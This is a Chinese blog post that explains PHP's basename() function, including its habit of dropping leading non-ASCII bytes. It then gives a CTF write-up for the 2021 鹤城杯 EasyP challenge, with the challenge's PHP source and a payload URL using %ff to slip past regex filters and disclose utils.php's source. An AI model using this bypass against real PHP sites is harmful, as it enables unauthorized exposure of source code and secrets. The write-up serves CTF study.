basename

定义:

basename() 函数返回路径中的文件名部分。

语法:

basename(path,suffix)

参数 描述
path 必需。规定要检查的路径
suffix 可选。规定文件扩展名。如果文件有 suffix,则不会输出这个扩展名。

basename()函数存在一个问题,它会去掉文件名开头的非ASCII值

例题

[鹤城杯 2021]EasyP

<?php
include 'utils.php';

if (isset($_POST['guess'])) {
    $guess = (string) $_POST['guess'];
    if ($guess === $secret) {
        $message = 'Congratulations! The flag is: ' . $flag;
    } else {
        $message = 'Wrong. Try Again';
    }
}

if (preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])) {
    exit("hacker :)");
}

if (preg_match('/show_source/', $_SERVER['REQUEST_URI'])){
    exit("hacker :)");
}

if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}else{
    show_source(__FILE__);
}
?> 

其中

if (isset($_GET['show_source'])) {
    highlight_file(basename($_SERVER['PHP_SELF']));
    exit();
}else{
    show_source(__FILE__);
}

就是我们的突破口,需要我们绕过正则过滤;
构造payload
http://1.14.71.254:28700/index.php/utils.php/%ff?show source

版权声明:本文为traverller-2333原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://www.cnblogs.com/traverller-2333/p/16264264.html